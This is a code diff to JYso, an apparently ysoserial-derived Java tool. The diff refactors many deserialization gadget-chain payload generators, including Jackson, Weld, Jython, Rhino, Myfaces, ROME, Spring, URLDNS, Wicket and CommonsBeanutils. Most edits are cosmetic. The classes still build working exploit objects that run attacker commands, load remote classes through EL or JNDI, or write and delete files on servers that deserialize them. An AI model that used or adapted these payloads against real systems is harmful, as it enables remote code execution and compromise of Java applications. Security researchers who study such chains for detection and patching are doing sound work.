         //取出UndoManager类的父类CompoundEdit类的edits属性里的vector对象，并把需要触发toString的类add进去。
         Vector vector = (Vector) getFieldValue(undomanager, "edits");
@@ -119,15 +117,6 @@ public class Jackson3 implements ObjectPayload<Object> {
 
         }
 
-        //ArrayList<Class> classes = new ArrayList<>();
-        //classes.add(TemplatesImpl.class);
-        //classes.add(POJONode.class);
-        //classes.add(EventListenerList.class);
-        //classes.add(Jackson3.class);
-        //classes.add(Field.class);
-        //classes.add(Method.class);
-        //new jdk17Bypass().bypassModule(classes);
-
 
         POJONode node = new POJONode(makeTemplatesImplAopProxy(command));
 

src/main/java/com/qi4l/JYso/gadgets/Jackson4.java

@@ -12,10 +12,11 @@ import javassist.CtMethod;
 import java.util.HashMap;
 
 import static com.qi4l.JYso.gadgets.Jackson3.makeTemplatesImplAopProxy;
-import static com.qi4l.JYso.gadgets.utils.Utils.makeMap;
 
 
 //Jackson1链的JDK17改造
+
+@SuppressWarnings({"rawtypes", "unchecked","unused"})
 @Dependencies({"spring-apo:6.2.10"})
 @Authors({Authors.QI4L})
 public class Jackson4 implements ObjectPayload<Object> {
@@ -38,7 +39,6 @@ public class Jackson4 implements ObjectPayload<Object> {
         map1.put("zZ", xString);
         map2.put("yy", xString);
         map2.put("zZ", node);
-        HashMap hashmap = makeMap(map1, map2);
+        return com.qi4l.JYso.gadgets.utils.Utils.makeMap(map1, map2);
-        return hashmap;
     }
 }

src/main/java/com/qi4l/JYso/gadgets/JacksonLdapAttr.java

@@ -4,6 +4,8 @@ import com.fasterxml.jackson.databind.node.POJONode;
 import javassist.ClassPool;
 import javassist.CtClass;
 import javassist.CtMethod;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
 
 import javax.management.BadAttributeValueExpException;
 import javax.naming.CompositeName;
@@ -11,7 +13,10 @@ import javax.naming.directory.BasicAttribute;
 import java.lang.reflect.Constructor;
 import java.lang.reflect.Field;
 
+@SuppressWarnings({"rawtypes", "unchecked","unused"})
 public class JacksonLdapAttr implements ObjectPayload<Object> {
+    private static final Logger log = LoggerFactory.getLogger(JacksonLdapAttr.class);
+
     @Override
     public Object getObject(String command) throws Exception {
 
@@ -31,7 +36,7 @@ public class JacksonLdapAttr implements ObjectPayload<Object> {
 
         try {
             Class clazz = Class.forName("com.sun.jndi.ldap.LdapAttribute");
-            Constructor clazz_cons = clazz.getDeclaredConstructor(new Class[]{String.class});
+            Constructor clazz_cons = clazz.getDeclaredConstructor(String.class);
             clazz_cons.setAccessible(true);
             BasicAttribute la = (BasicAttribute) clazz_cons.newInstance(new Object[]{"exp"});
             Field bcu_fi = clazz.getDeclaredField("baseCtxURL");
@@ -50,7 +55,7 @@ public class JacksonLdapAttr implements ObjectPayload<Object> {
             valfield.set(val, node);
             return val;
         } catch (Exception e) {
-            e.printStackTrace();
+            log.error("e: ", e);
         }
         return null;
     }

src/main/java/com/qi4l/JYso/gadgets/JavassistWeld1.java

@@ -17,7 +17,6 @@ import org.jboss.weld.interceptor.spi.instance.InterceptorInstantiator;
 import org.jboss.weld.interceptor.spi.metadata.InterceptorReference;
 import org.jboss.weld.interceptor.spi.metadata.MethodMetadata;
 import org.jboss.weld.interceptor.spi.model.InterceptionModel;
-import org.jboss.weld.interceptor.spi.model.InterceptionType;
 
 import java.lang.reflect.Constructor;
 import java.util.*;
@@ -26,7 +25,7 @@ import java.util.*;
 /*
     by @matthias_kaiser
 */
-@SuppressWarnings({"rawtypes", "unchecked"})
+@SuppressWarnings({"rawtypes", "unchecked","unused"})
 @Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.weld:weld-core:1.1.33.Final",
         "javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1",
         "org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21"})
@@ -34,15 +33,29 @@ import java.util.*;
 public class JavassistWeld1 implements ObjectPayload<Object> {
 
     public Object getObject(String command) throws Exception {
-        final Object tpl;
+
-        tpl = Gadgets.createTemplatesImpl(command);
+        return get_chain(command, org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE, null);
+    }
+
+    static Object get_chain(
+            String command,
+            org.jboss.weld.interceptor.spi.model.InterceptionType POST_ACTIVATE,
+            org.jboss.interceptor.spi.model.InterceptionType POST_ACTIVATE1
+    ) throws Exception {
+        Object tpl = Gadgets.createTemplatesImpl(command);
 
         InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class);
         ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class);
         InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata);
 
-        Set<InterceptionType> s = new HashSet<InterceptionType>();
+        Set s = new HashSet<>();
-        s.add(org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE);
+
+        if (POST_ACTIVATE != null) {
+            s.add(POST_ACTIVATE);
+        } else {
+            s.add(POST_ACTIVATE1);
+        }
+
 
         Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class);
         Reflections.setAccessible(defaultMethodMetadataConstructor);
@@ -51,9 +64,14 @@ public class JavassistWeld1 implements ObjectPayload<Object> {
 
         List list = new ArrayList();
         list.add(methodMetadata);
-        Map<org.jboss.weld.interceptor.spi.model.InterceptionType, List<MethodMetadata>> hashMap = new HashMap<org.jboss.weld.interceptor.spi.model.InterceptionType, List<MethodMetadata>>();
+        Map hashMap = new HashMap<>();
+
+        if (POST_ACTIVATE != null) {
+            hashMap.put(POST_ACTIVATE, list);
+        } else {
+            hashMap.put(POST_ACTIVATE1, list);
+        }
 
-        hashMap.put(org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE, list);
         SimpleInterceptorMetadata simpleInterceptorMetadata = new SimpleInterceptorMetadata(interceptorReference, true, hashMap);
 
         builder.interceptAll().with(simpleInterceptorMetadata);
@@ -61,19 +79,12 @@ public class JavassistWeld1 implements ObjectPayload<Object> {
         InterceptionModel model = builder.build();
 
         HashMap map = new HashMap();
-        map.put("ysoserial", "ysoserial");
+        map.put("qi4l", "qi4l");
 
         DefaultInvocationContextFactory factory = new DefaultInvocationContextFactory();
 
-        InterceptorInstantiator interceptorInstantiator = new InterceptorInstantiator() {
+        InterceptorInstantiator interceptorInstantiator = paramInterceptorReference -> tpl;
-
-            public Object createFor(InterceptorReference paramInterceptorReference) {
-
-                return tpl;
-            }
-        };
 
         return new InterceptorMethodHandler(map, metadata, model, interceptorInstantiator, factory);
-
     }
 }

src/main/java/com/qi4l/JYso/gadgets/JdbcRowSet.java

@@ -2,6 +2,7 @@ package com.qi4l.JYso.gadgets;
 
 import static com.qi4l.JYso.gadgets.ROMEJDBC.makeJNDIRowSet;
 
+@SuppressWarnings({"unused"})
 public class JdbcRowSet implements ObjectPayload<Object> {
     @Override
     public Object getObject(String command) throws Exception {

src/main/java/com/qi4l/JYso/gadgets/Jdk7u21variant.java

@@ -12,7 +12,7 @@ import java.util.LinkedHashSet;
 
 import static com.qi4l.JYso.gadgets.utils.Utils.createProxy;
 
-
+@SuppressWarnings({"rawtypes", "unchecked","unused"})
 @Authors({"potats0"})
 public class Jdk7u21variant implements ObjectPayload<Object> {
 

src/main/java/com/qi4l/JYso/gadgets/Jython1.java

@@ -7,7 +7,6 @@ import org.apache.commons.io.FileUtils;
 import org.python.core.*;
 
 import java.io.File;
-import java.lang.reflect.InvocationHandler;
 import java.lang.reflect.Proxy;
 import java.math.BigInteger;
 import java.util.Arrays;
@@ -37,7 +36,7 @@ import java.util.PriorityQueue;
  * exception information).
  */
 
-@SuppressWarnings({"rawtypes", "unchecked", "restriction"})
+@SuppressWarnings({"rawtypes", "unchecked","unused"})
 @Dependencies({"org.python:jython-standalone:2.5.2"})
 @Authors({Authors.PWNTESTER, Authors.CSCHNEIDER4711})
 public class Jython1 implements ObjectPayload<PriorityQueue> {
@@ -91,7 +90,7 @@ public class Jython1 implements ObjectPayload<PriorityQueue> {
         PyFunction handler = new PyFunction(new PyStringMap(), null, codeobj);
 
         // Prepare Trigger Gadget
-        Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, (InvocationHandler) handler);
+        Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);
         PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
         Object[] queue = new Object[]{1, 1};
         Reflections.setFieldValue(priorityQueue, "queue", queue);

src/main/java/com/qi4l/JYso/gadgets/MozillaRhino1.java

@@ -19,7 +19,7 @@ import java.lang.reflect.Method;
     by @matthias_kaiser
 */
 
-@SuppressWarnings({"unused"})
+@SuppressWarnings({"rawtypes", "unchecked","unused"})
 @Dependencies({"rhino:js:1.7R2"})
 @Authors({Authors.MATTHIASKAISER})
 public class MozillaRhino1 implements ObjectPayload<Object> {

src/main/java/com/qi4l/JYso/gadgets/MozillaRhino2.java

@@ -44,6 +44,7 @@ import java.util.Map;
  * <p>
  * by @_tint0
  */
+@SuppressWarnings({"unchecked","unused"})
 @Dependencies({"rhino:js:1.7R2"})
 @Authors({Authors.TINT0})
 public class MozillaRhino2 implements ObjectPayload<Object> {
@@ -56,7 +57,7 @@ public class MozillaRhino2 implements ObjectPayload<Object> {
     @Override
     public Object getObject(String command) throws Exception {
         ScriptableObject dummyScope = new Environment();
-        Map<Object, Object> associatedValues = new Hashtable<Object, Object>();
+        Map<Object, Object> associatedValues = new Hashtable<>();
         associatedValues.put("ClassCache", Reflections.createWithoutConstructor(ClassCache.class));
         Reflections.setFieldValue(dummyScope, "associatedValues", associatedValues);
 

src/main/java/com/qi4l/JYso/gadgets/Myfaces1.java

@@ -3,7 +3,6 @@ package com.qi4l.JYso.gadgets;
 import com.qi4l.JYso.gadgets.annotation.Authors;
 import com.qi4l.JYso.gadgets.annotation.Dependencies;
 import com.qi4l.JYso.gadgets.utils.DynamicDependencies;
-import com.qi4l.JYso.gadgets.utils.Gadgets;
 import com.qi4l.JYso.gadgets.utils.Reflections;
 import org.apache.myfaces.context.servlet.FacesContextImpl;
 import org.apache.myfaces.context.servlet.FacesContextImplBase;
@@ -14,8 +13,6 @@ import org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression;
 import javax.el.ELContext;
 import javax.el.ExpressionFactory;
 import javax.el.ValueExpression;
-import javax.servlet.ServletContext;
-import javax.servlet.ServletRequest;
 import javax.servlet.ServletResponse;
 
 import static com.qi4l.JYso.gadgets.utils.Utils.makeMap;
@@ -37,6 +34,8 @@ import static com.qi4l.JYso.gadgets.utils.Utils.makeMap;
  *
  * @author mbechler
  */
+
+@SuppressWarnings({"unused"})
 @Dependencies
 @Authors({Authors.MBECHLER})
 public class Myfaces1 implements ObjectPayload<Object>, DynamicDependencies {
@@ -65,7 +64,7 @@ public class Myfaces1 implements ObjectPayload<Object>, DynamicDependencies {
     }
 
     public static Object makeExpressionPayload(String expr) throws Exception {
-        FacesContextImpl fc = new FacesContextImpl((ServletContext) null, (ServletRequest) null, (ServletResponse) null);
+        FacesContextImpl fc = new FacesContextImpl(null, null, (ServletResponse) null);
         ELContext elContext = new FacesELContext(new CompositeELResolver(), fc);
         Reflections.getField(FacesContextImplBase.class, "_elContext").set(fc, elContext);
         ExpressionFactory expressionFactory = ExpressionFactory.newInstance();

src/main/java/com/qi4l/JYso/gadgets/Myfaces2.java

@@ -2,6 +2,7 @@ package com.qi4l.JYso.gadgets;
 
 import com.qi4l.JYso.gadgets.utils.DynamicDependencies;
 
+@SuppressWarnings({"unused"})
 public class Myfaces2 implements ObjectPayload<Object>, DynamicDependencies {
     @Override
     public Object getObject(String command) throws Exception {
@@ -15,15 +16,14 @@ public class Myfaces2 implements ObjectPayload<Object>, DynamicDependencies {
         String className = command.substring(sep + 1);
 
         // based on http://danamodio.com/appsec/research/spring-remote-code-with-expression-language-injection/
-        String expr = "${request.setAttribute('arr',''.getClass().forName('java.util.ArrayList').newInstance())}";
+        StringBuilder expr = new StringBuilder("${request.setAttribute('arr',''.getClass().forName('java.util.ArrayList').newInstance())}");
 
         // if we add fewer than the actual classloaders we end up with a null entry
         for (int i = 0; i < 100; i++) {
-            expr += "${request.getAttribute('arr').add(request.servletContext.getResource('/').toURI().create('" + url + "').toURL())}";
+            expr.append("${request.getAttribute('arr').add(request.servletContext.getResource('/').toURI().create('").append(url).append("').toURL())}");
         }
-        expr += "${request.getClass().getClassLoader().newInstance(request.getAttribute('arr')"
+        expr.append("${request.getClass().getClassLoader().newInstance(request.getAttribute('arr')" + ".toArray(request.getClass().getClassLoader().getURLs())).loadClass('").append(className).append("').newInstance()}");
-                + ".toArray(request.getClass().getClassLoader().getURLs())).loadClass('" + className + "').newInstance()}";
 
-        return Myfaces1.makeExpressionPayload(expr);
+        return Myfaces1.makeExpressionPayload(expr.toString());
     }
 }

src/main/java/com/qi4l/JYso/gadgets/ROME.java

@@ -27,6 +27,7 @@ import static com.qi4l.JYso.gadgets.utils.Utils.makeMap;
  * @author mbechler
  */
 
+@SuppressWarnings({"unused"})
 @Dependencies("rome:rome:1.0")
 @Authors({Authors.MBECHLER})
 public class ROME implements ObjectPayload<Object> {

src/main/java/com/qi4l/JYso/gadgets/ROME2.java

@@ -11,6 +11,7 @@ import java.util.Map;
 import static com.qi4l.JYso.gadgets.utils.Utils.makeMap;
 import static com.qi4l.JYso.gadgets.utils.Utils.createMap;
 
+@SuppressWarnings({"rawtypes", "unchecked","unused"})
 @Dependencies("rome:rome:1.0")
 public class ROME2 implements ObjectPayload<Object> {
     @Override

src/main/java/com/qi4l/JYso/gadgets/ROME3.java

@@ -9,6 +9,7 @@ import com.sun.syndication.feed.impl.ObjectBean;
 import javax.management.BadAttributeValueExpException;
 import javax.xml.transform.Templates;
 
+@SuppressWarnings({"unused"})
 @Authors({"Firebasky"})
 @Dependencies("rome:rome:1.0")
 public class ROME3 implements ObjectPayload<Object> {

src/main/java/com/qi4l/JYso/gadgets/ROMEJDBC.java

@@ -7,7 +7,7 @@ import com.sun.rowset.JdbcRowSetImpl;
 
 import static com.qi4l.JYso.gadgets.utils.Utils.makeMap;
 
-
+@SuppressWarnings({"unused"})
 public class ROMEJDBC implements ObjectPayload<Object> {
     // Assuming JDKUtil class with makeJNDIRowSet method
     public static JdbcRowSetImpl makeJNDIRowSet(String jndiUrl) throws Exception {

src/main/java/com/qi4l/JYso/gadgets/RenderedImage.java

@@ -9,6 +9,7 @@ import java.awt.image.BufferedImage;
 import java.io.ByteArrayInputStream;
 import java.net.InetAddress;
 
+@SuppressWarnings({"unused"})
 @Dependencies({"javax.media:jai-codec-1.1.3"})
 public class RenderedImage implements ObjectPayload<Object> {
     public static byte hexToByte(String inHex) {

src/main/java/com/qi4l/JYso/gadgets/Resin.java

@@ -13,6 +13,7 @@ import java.util.Hashtable;
 
 import static com.qi4l.JYso.gadgets.utils.Utils.makeMap;
 
+@SuppressWarnings({"unused"})
 public class Resin implements ObjectPayload<Object> {
     public static Object makeToStringTrigger(Object o) throws Exception {
         String unhash = unhash(o.hashCode());
@@ -66,7 +67,7 @@ public class Resin implements ObjectPayload<Object> {
         Reflections.setFieldValue(cpe, "stackTrace", null);
         //考虑换成其他的
         URI uri = new URI(command);
-        String args[] = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)};
+        String[] args = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)};
         cpe.setResolvedObj(new Reference("Foo", args[1], args[0]));
 
         Reflections.setFieldValue(cpe, "suppressedExceptions", null);

src/main/java/com/qi4l/JYso/gadgets/SignedObject.java

@@ -1,7 +1,6 @@
 package com.qi4l.JYso.gadgets;
 
 import cn.hutool.core.comparator.PropertyComparator;
-import com.qi4l.JYso.gadgets.utils.Gadgets;
 import com.qi4l.JYso.gadgets.utils.Reflections;
 import com.qi4l.JYso.gadgets.utils.SignedObjectUtils;
 import com.qi4l.JYso.gadgets.utils.dirty.DirtyDataWrapper;
@@ -48,6 +47,8 @@ import static java.lang.Class.forName;
  * 最后2个类型是脏数据类型和长度，为0则不混淆
  * @author QI4L
  */
+
+@SuppressWarnings({"rawtypes", "unchecked","unused"})
 public class SignedObject implements ObjectPayload<Object> {
 
     public Object getObject(String command) throws Exception {

src/main/java/com/qi4l/JYso/gadgets/Spring1.java

@@ -67,7 +67,7 @@ public class Spring1 implements ObjectPayload<Object> {
                 forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));
 
         final Constructor mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
-        final Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass", new Class[]{}), 0);
+        final Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass"), 0);
         Reflections.setFieldValue(mitp, "methodName", "newTransformer");
 
         return mitp;

src/main/java/com/qi4l/JYso/gadgets/Spring2.java

@@ -29,6 +29,7 @@ import static java.lang.Class.forName;
  * @author mbechler
  */
 
+@SuppressWarnings({"unused"})
 @Dependencies({
         "org.springframework:spring-core:4.1.4.RELEASE", "org.springframework:spring-aop:4.1.4.RELEASE",
         // test deps

src/main/java/com/qi4l/JYso/gadgets/Spring3.java

@@ -3,12 +3,13 @@ package com.qi4l.JYso.gadgets;
 import com.qi4l.JYso.gadgets.annotation.Dependencies;
 import org.springframework.transaction.jta.JtaTransactionManager;
 
+@SuppressWarnings({"unused"})
 @Dependencies({"org.springframework:spring-tx:5.2.3.RELEASE", "org.springframework:spring-context:5.2.3.RELEASE", "javax.transaction:javax.transaction-api:1.2"})
 public class Spring3 implements ObjectPayload<Object> {
     @Override
     public Object getObject(String command) throws Exception {
 
-        String jndiURL = null;
+        String jndiURL;
         if (command.toLowerCase().startsWith("jndi:")) {
             jndiURL = command.substring(5);
         } else {

src/main/java/com/qi4l/JYso/gadgets/URLDNS.java

@@ -33,6 +33,8 @@ import java.util.List;
  * HashMap.hash()
  * URL.hashCode()
  */
+
+@SuppressWarnings({"unused"})
 @Dependencies()
 @Authors({Authors.GEBL})
 public class URLDNS implements ObjectPayload<Object> {
@@ -66,14 +68,14 @@ public class URLDNS implements ObjectPayload<Object> {
     };
 
 
-    public static List<Object> list = new LinkedList();
+    public static List<Object> list = new LinkedList<>();
 
     public static Object getURLDNSGadget(String urls, String clazzName) throws Exception {
-        HashMap<Object, Object> hashMap = new HashMap<Object, Object>();
+        HashMap<Object, Object> hashMap = new HashMap<>();
         URL url = new URL("http://" + urls);
         Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
         f.setAccessible(true);
-        f.set(url, Integer.valueOf(0));
+        f.set(url, 0);
         Class<?> clazz = null;
 
         if (clazzName != null) {
@@ -85,7 +87,7 @@ public class URLDNS implements ObjectPayload<Object> {
         }
 
         hashMap.put(url, clazz);
-        f.set(url, Integer.valueOf(-1));
+        f.set(url, -1);
         return hashMap;
     }
 
@@ -543,8 +545,8 @@ public class URLDNS implements ObjectPayload<Object> {
                 break;
 
             case "all":
-                for (int i = 0; i < defaultClass.length; i++) {
+                for (String aClass : defaultClass) {
-                    setList(defaultClass[i], dnsLog);
+                    setList(aClass, dnsLog);
                 }
                 break;
             default:

src/main/java/com/qi4l/JYso/gadgets/UnixPrintService.java

@@ -6,6 +6,8 @@ import java.lang.reflect.Constructor;
 //jdk高版本移除此类
 //通过getter方法触发命令注入
 //本地测试 zulu8u345 存在此类
+
+@SuppressWarnings({"unused"})
 public class UnixPrintService implements ObjectPayload<Object>{
     @Override
     public Object getObject(String command) throws Exception {

src/main/java/com/qi4l/JYso/gadgets/UnixPrintServiceLookup.java

@@ -5,6 +5,7 @@ import sun.misc.Unsafe;
 
 import java.lang.reflect.Field;
 
+@SuppressWarnings({"unused"})
 public class UnixPrintServiceLookup implements ObjectPayload<Object>{
     @Override
     public Object getObject(String command) throws Exception {

src/main/java/com/qi4l/JYso/gadgets/Vaadin1.java

@@ -64,7 +64,7 @@ public class Vaadin1 implements ObjectPayload<Object> {
         templates = Gadgets.createTemplatesImpl(command);
         PropertysetItem pItem = new PropertysetItem();
 
-        NestedMethodProperty<Object> nmprop = new NestedMethodProperty<Object>(templates, "outputProperties");
+        NestedMethodProperty<Object> nmprop = new NestedMethodProperty<>(templates, "outputProperties");
         pItem.addItemProperty("outputProperties", nmprop);
 
         BadAttributeValueExpException b = new BadAttributeValueExpException("");

src/main/java/com/qi4l/JYso/gadgets/Wicket1.java

@@ -9,8 +9,8 @@ import org.apache.wicket.util.io.ThresholdingOutputStream;
 import org.apache.wicket.util.upload.DiskFileItem;
 
 import java.io.File;
-import java.io.IOException;
 import java.io.OutputStream;
+import java.nio.charset.StandardCharsets;
 import java.util.Arrays;
 
 /**
@@ -41,24 +41,25 @@ import java.util.Arrays;
  * $ cat /tmp/upload_3805815b_2d50_4e00_9dae_a854d5a0e614_479431761.tmp
  * blue lobster
  */
+@SuppressWarnings({"unused"})
 @Dependencies({"org.apache.wicket:wicket-util:6.23.0", "org.slf4j:slf4j-api:1.6.4"})
 @Authors({Authors.JACOBAINES})
 public class Wicket1 implements ReleaseableObjectPayload<DiskFileItem> {
-    private static DiskFileItem copyAndDelete(String copyAndDelete, String copyTo) throws IOException, Exception {
+    private static DiskFileItem copyAndDelete(String copyAndDelete, String copyTo) throws Exception {
         return makePayload(0, copyTo, copyAndDelete, new byte[1]);
     }
 
     // writes data to a random filename (update_<per JVM random UUID>_<COUNTER>.tmp)
-    private static DiskFileItem write(String dir, byte[] data) throws IOException, Exception {
+    private static DiskFileItem write(String dir, byte[] data) throws Exception {
         return makePayload(data.length + 1, dir, dir + "/whatever", data);
     }
 
     // writes data to an arbitrary file
-    private static DiskFileItem writeOldJRE(String file, byte[] data) throws IOException, Exception {
+    private static DiskFileItem writeOldJRE(String file, byte[] data) throws Exception {
         return makePayload(data.length + 1, file + "\0", file, data);
     }
 
-    private static DiskFileItem makePayload(int thresh, String repoPath, String filePath, byte[] data) throws IOException, Exception {
+    private static DiskFileItem makePayload(int thresh, String repoPath, String filePath, byte[] data) throws Exception {
         // if thresh < written length, delete outputFile after copying to repository temp file
         // otherwise write the contents to repository temp file
         File repository = new File(repoPath);
@@ -84,11 +85,11 @@ public class Wicket1 implements ReleaseableObjectPayload<DiskFileItem> {
         if ("copyAndDelete".equals(parts[0])) {
             return copyAndDelete(parts[1], parts[2]);
         } else if ("write".equals(parts[0])) {
-            return write(parts[1], parts[2].getBytes("US-ASCII"));
+            return write(parts[1], parts[2].getBytes(StandardCharsets.US_ASCII));
         } else if ("writeB64".equals(parts[0])) {
             return write(parts[1], Base64.decodeBase64(parts[2]));
         } else if ("writeOld".equals(parts[0])) {
-            return writeOldJRE(parts[1], parts[2].getBytes("US-ASCII"));
+            return writeOldJRE(parts[1], parts[2].getBytes(StandardCharsets.US_ASCII));
         } else if ("writeOldB64".equals(parts[0])) {
             return writeOldJRE(parts[1], Base64.decodeBase64(parts[2]));
         }

src/main/java/com/qi4l/JYso/gadgets/cb160.java

@@ -12,7 +12,7 @@ import java.util.PriorityQueue;
 import static com.qi4l.JYso.gadgets.utils.InjShell.insertField;
 import static com.qi4l.JYso.gadgets.utils.jdk17Bypass.patchModule;
 
-@SuppressWarnings("rawtypes")
+@SuppressWarnings({"rawtypes", "unchecked","unused"})
 @Dependencies({"commons-beanutils:commons-beanutils:1.6.0"})
 public class cb160 implements ObjectPayload<Object> {
 
@@ -23,8 +23,10 @@ public class cb160 implements ObjectPayload<Object> {
         ClassPool pool = ClassPool.getDefault();
         CtClass ctClass = pool.get("org.apache.commons.beanutils.BeanComparator");
         insertField(ctClass, "serialVersionUID", "private static final long serialVersionUID = 2573799559215537819;");
+        return getCbSink_1(ctClass,template);
+    }
 
-
+    public static Object getCbSink_1(CtClass ctClass, Object template) throws Exception {
         Class<?> beanCompareClazz = ctClass.toClass();
         BeanComparator comparator = (BeanComparator) beanCompareClazz.newInstance();
         final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);

src/main/java/com/qi4l/JYso/gadgets/cb183.java

@@ -2,15 +2,13 @@ package com.qi4l.JYso.gadgets;
 
 import com.qi4l.JYso.gadgets.annotation.Dependencies;
 import com.qi4l.JYso.gadgets.utils.Gadgets;
-import com.qi4l.JYso.gadgets.utils.Reflections;
 import javassist.ClassPool;
 import javassist.CtClass;
-import org.apache.commons.beanutils.BeanComparator;
-
-import java.util.PriorityQueue;
 
+import static com.qi4l.JYso.gadgets.cb160.getCbSink_1;
 import static com.qi4l.JYso.gadgets.utils.InjShell.insertField;
 
+@SuppressWarnings({"unused"})
 @Dependencies({"commons-beanutils:commons-beanutils:1.8.3", "commons-beanutils:commons-beanutils:1.7X"})
 public class cb183 implements ObjectPayload<Object> {
 
@@ -22,18 +20,6 @@ public class cb183 implements ObjectPayload<Object> {
         CtClass ctClass = pool.get("org.apache.commons.beanutils.BeanComparator");
 
         insertField(ctClass, "serialVersionUID", "private static final long serialVersionUID = -3490850999041592962L;");
-
+        return getCbSink_1(ctClass,template);
-        Class<?> beanCompareClazz = ctClass.toClass();
-        BeanComparator comparator = (BeanComparator) beanCompareClazz.newInstance();
-        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
-        queue.add("1");
-        queue.add("1");
-
-        // switch method called by comparator
-        Reflections.setFieldValue(comparator, "property", "outputProperties");
-        Reflections.setFieldValue(comparator, "comparator", String.CASE_INSENSITIVE_ORDER);
-        Reflections.setFieldValue(queue, "queue", new Object[]{template, template});
-
-        return queue;
     }
 }

src/main/java/com/qi4l/JYso/gadgets/cb192.java

@@ -8,6 +8,7 @@ import org.apache.commons.beanutils.BeanComparator;
 
 import java.util.PriorityQueue;
 
+@SuppressWarnings({"rawtypes", "unchecked","unused"})
 @Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"})
 @Authors({Authors.FROHOFF})
 public class cb192 implements ObjectPayload<Object> {

src/main/java/com/qi4l/JYso/gadgets/cb_AttrCompare183.java

@@ -8,41 +8,48 @@ import com.qi4l.JYso.gadgets.utils.SuClassLoader;
 import com.sun.org.apache.xerces.internal.dom.AttrNSImpl;
 import com.sun.org.apache.xerces.internal.dom.CoreDocumentImpl;
 import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
-import javassist.ClassClassPath;
+import javassist.*;
-import javassist.ClassPool;
-import javassist.CtClass;
-import javassist.CtField;
 
 import java.util.Comparator;
 import java.util.PriorityQueue;
 
-
+@SuppressWarnings({"rawtypes", "unchecked","unused"})
 @Dependencies({"commons-beanutils:commons-beanutils:1.8.3", "commons-beanutils:commons-beanutils:1.7X"})
 @Authors({"SummerSec"})
 public class cb_AttrCompare183 implements ObjectPayload<Object> {
     @Override
     public Object getObject(String command) throws Exception {
-        final Object template;
+        Object template = Gadgets.createTemplatesImpl(command);
-        template = Gadgets.createTemplatesImpl(command);
+
         AttrNSImpl attrNS1 = new AttrNSImpl();
         CoreDocumentImpl coreDocument = new CoreDocumentImpl();
         attrNS1.setValues(coreDocument, "1", "1", "1");
 
+
+        Comparator beanComparator = getCbSink_2();
+        Reflections.setFieldValue(beanComparator, "comparator", new AttrCompare());
+
+        return getCbSink_3(beanComparator, attrNS1, template);
+    }
+
+
+    static Comparator getCbSink_2() throws Exception {
         ClassPool pool = ClassPool.getDefault();
         pool.insertClassPath(new ClassClassPath(Class.forName("org.apache.commons.beanutils.BeanComparator")));
         final CtClass ctBeanComparator = pool.get("org.apache.commons.beanutils.BeanComparator");
         try {
             CtField ctSUID = ctBeanComparator.getDeclaredField("serialVersionUID");
             ctBeanComparator.removeField(ctSUID);
-        } catch (javassist.NotFoundException e) {
+        } catch (NotFoundException ignored) {
         }
         ctBeanComparator.addField(CtField.make("private static final long serialVersionUID = -3490850999041592962L;", ctBeanComparator));
         final Comparator beanComparator = (Comparator) ctBeanComparator.toClass(new SuClassLoader()).newInstance();
-
         ctBeanComparator.defrost();
+        return beanComparator;
+    }
 
-        Reflections.setFieldValue(beanComparator, "comparator", new AttrCompare());
+    static Object getCbSink_3(Comparator beanComparator, Object attrNS1, Object template) throws Exception {
-        PriorityQueue<Object> queue = new PriorityQueue<Object>(2, (Comparator<? super Object>) beanComparator);
+        PriorityQueue<Object> queue = new PriorityQueue<>(2, (Comparator<? super Object>) beanComparator);
 
         queue.add(attrNS1);
         queue.add(attrNS1);

src/main/java/com/qi4l/JYso/gadgets/cb_AttrCompare192.java

@@ -3,15 +3,14 @@ package com.qi4l.JYso.gadgets;
 import com.qi4l.JYso.gadgets.annotation.Authors;
 import com.qi4l.JYso.gadgets.annotation.Dependencies;
 import com.qi4l.JYso.gadgets.utils.Gadgets;
-import com.qi4l.JYso.gadgets.utils.Reflections;
 import com.sun.org.apache.xerces.internal.dom.AttrNSImpl;
 import com.sun.org.apache.xerces.internal.dom.CoreDocumentImpl;
 import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
 import org.apache.commons.beanutils.BeanComparator;
 
-import java.util.PriorityQueue;
+import static com.qi4l.JYso.gadgets.cb_AttrCompare183.getCbSink_3;
-
 
+@SuppressWarnings({"rawtypes", "unchecked","unused"})
 @Dependencies({"commons-beanutils:commons-beanutils:1.9.2"})
 @Authors({"水滴"})
 public class cb_AttrCompare192 implements ObjectPayload<Object> {
@@ -25,14 +24,6 @@ public class cb_AttrCompare192 implements ObjectPayload<Object> {
 
         BeanComparator beanComparator = new BeanComparator(null, new AttrCompare());
 
-        PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
+        return getCbSink_3(beanComparator, attrNS1, template);
-
